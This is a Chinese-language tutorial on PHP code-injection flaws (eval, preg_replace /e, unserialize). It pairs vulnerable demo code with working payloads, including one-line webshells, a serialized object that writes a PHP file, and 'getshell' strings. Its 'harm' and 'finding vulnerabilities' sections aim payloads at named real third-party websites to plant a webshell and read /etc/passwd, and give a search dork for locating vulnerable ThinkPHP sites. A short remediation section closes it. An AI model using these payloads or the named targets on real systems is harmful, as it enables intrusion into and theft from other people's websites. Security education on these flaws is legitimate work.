任意代码执行

任意代码执行

0x01 成因

几种常用语言,都有将字符串转化成代码去执行的相关函数

  • php
   eval assert
  • asp
<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
  • python
exec
  • java
Java中没有类似php中eval函数直
接可以将字符串转化为代码执行
的函数,但是有反射机制,如反
射机制的表达式引擎:OGNL SpEL MVEL 

0x02 php中能造成代码注入的主要函数

执行代码的函数

  • eval()
  • assert()
    callback回调函数

  • preg_replace()+/e模式
    preg_replace函数原型:

    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

    在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
    注意:双引号中的函数不会被执行和替换。 

    反序列化函数

  • unserialize()

    eval()
    执行php代码

demo 1

$data=$_GET['data'];
eval("\$ret=$data;");
echo $ret;

phpinfo()

http://192.168.188.66/code_inject/1/?data=phpinfo()
http://192.168.188.66/code_inject/1/?data=1;phpinfo();

http://192.168.188.66/code_inject/1/?data=${phpinfo()}

getshell

http://192.168.188.66/code_inject/1/?data=1;@eval($_POST[a]); 

http://172.16.77.145/code_inject/1.php?data=${eval($_POST[T])}

完整语句构造:

eval("
$data=1;
@eval($_POST[a]);
")

demo 2

$data=$_GET['data'];
echo "\$ret='$data';";
eval("\$ret=strtolower('$data');");
echo $ret;

phpinfo()

/?data=123');phpinfo();//

完整语句构造:

$ret=strtolower('123');
闭合单引号
$ret=strtolower('');
phpinfo();//123');

getshell

/?data=123');eval($_POST[k]);//

demo 3

$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");"); 
echo $ret;

phpinfo()

/?data={${phpinfo()}}
或
/?data=");phpinfo();//

完整语句构造:

eval("
$ret=strtolower("");
phpinfo();
//");
")
或
eval("
$ret=strtolower("{${phpinfo()}}");

getshell

/?data={${eval($_POST[k])}}

demo 4


$data = $_GET['data'];
echo $data;
preg_replace('/(.*)<\/data>/e', '$ret = "\\1";', $data);
echo $ret;

phpinfo()

http://192.168.188.66/code_inject/4/?data=<data>{${phpinfo()}}data>

完整语句构造:

$ret="{${phpinfo()}}"

getshell

?data="{${eval($_POST[k])}}"

php反序列化
序列化是对象持久化的一项技术,保存了对象之前的状态和数据,为了方便网络传输。
在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)


    class TestSerialize{
        private $name;
        private $password;
        const ID = 1234;
        public static $_class_name = __CLASS__;

        public function __set($varname,$value){

            $this->$varname = $value;
        }

        public function __get($varname)
        {
            return $this->$varname;
        }
    }

    $data = array(
            'name'=>'zhangsan',
            'password'=>'pwd123'
        );


    $test = 'abcd';
    $ts = new TestSerialize();
    $ts->name = 'zhangsan_2';
    $ts->password = 'pwd123_2';
    echo  'var=>'.serialize($test).'
'
; echo 'array=>'.serialize($data).'
'
; echo 'object=>'.serialize($ts).'
'
; ?>

输出结果

var=>s:4:"abcd";
array=>a:2:{s:4:"name";s:8:"zhangsan";s:8:"password";s:6:"pwd123";}
object=>O:13:"TestSerialize":2:{s:19:"TestSerializename";s:10:"zhangsan_2";s:23:"TestSerializepassword";s:8:"pwd123_2";}

如果我们知道代码类的定义,就可以构造代码执行
demo

服务端代码

 class foo {
public $file = "test.txt"; public $data = "123456";
function __destruct() { file_put_contents($this->file, $this->data);
} }
$d = $_REQUEST['str'];
var_dump($d);
echo "
"
; $tc = unserialize( base64_decode( $d ) ); //$tc = unserialize($_POST["str"]); var_dump($tc);

我们构造序列化

 class foo {
public $file = "test.txt"; public $data = "123456";
function __destruct() { file_put_contents($this->file, $this->data);
} }
$f = new foo();
$f->file = "1.php";
$f->data = "";
echo base64_encode(serialize($f));

生成

TzozOiJmb28iOjI6e3M6NDoiZmlsZSI7czo1OiIxLnBocCI7czo0OiJkYXRhIjtzOjE2OiI8PyBwaHBpbmZvKCk7ID8+Ijt9

将生成的值提交给服务端就产生了漏洞

0x03 危害

  • 一句话木马
http://www.shichidachina.com/News/detail/item/{${@eval($_POST[1999])}}
  • 获取当前工作路径
http://www.shichidachina.com/News/detail/item/{${print(getcwd())}}
  • 读文件
http://www.shichidachina.com/News/detail/item/{$ {exit(var_dump(file_get_contents($_POST[f])))}}
f=/etc/passwd
  • 写webshell
http://www.shichidachina.com/News/detail/item/{$
{exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}} f=h4lp.php&d=22222

0x04 寻找漏洞

thinkphp 框架 可能存在 代码执行漏洞的
搜索方式 intext:thinkphp intext:”Fast & Simple OOP PHP Framework” intext:”2.1”

http://www.sinosteelchem.com/product_detail_en/id/$%7B%20phpinfo()%20%7D
http://www.sjzy.org/index/rzkc_view/fid/70/eid/$%7B%20phpinfo()%7D
http://www.shichidachina.com/News/detail/item/$%7B@%20phpinfo()%20%7D

0x05 修补

eval()

  • 能使用json保存数组、对象就使用json格式,不要将php对象保存成字符串,否则读取的时候需要使用eval
  • 对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则判断输入的数据格式)
  • 对于字符串,一定要使用单引号包裹可控代码,并在插入前进行addslashes
$data = addslashes($data); 
eval("\$data = deal('$data');");

preg_replace()

  • 放弃使用preg_replace的e修饰符
  • 使用preg_replace_callback()替换
  • 如果非要使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹

你可能感兴趣的:(web安全)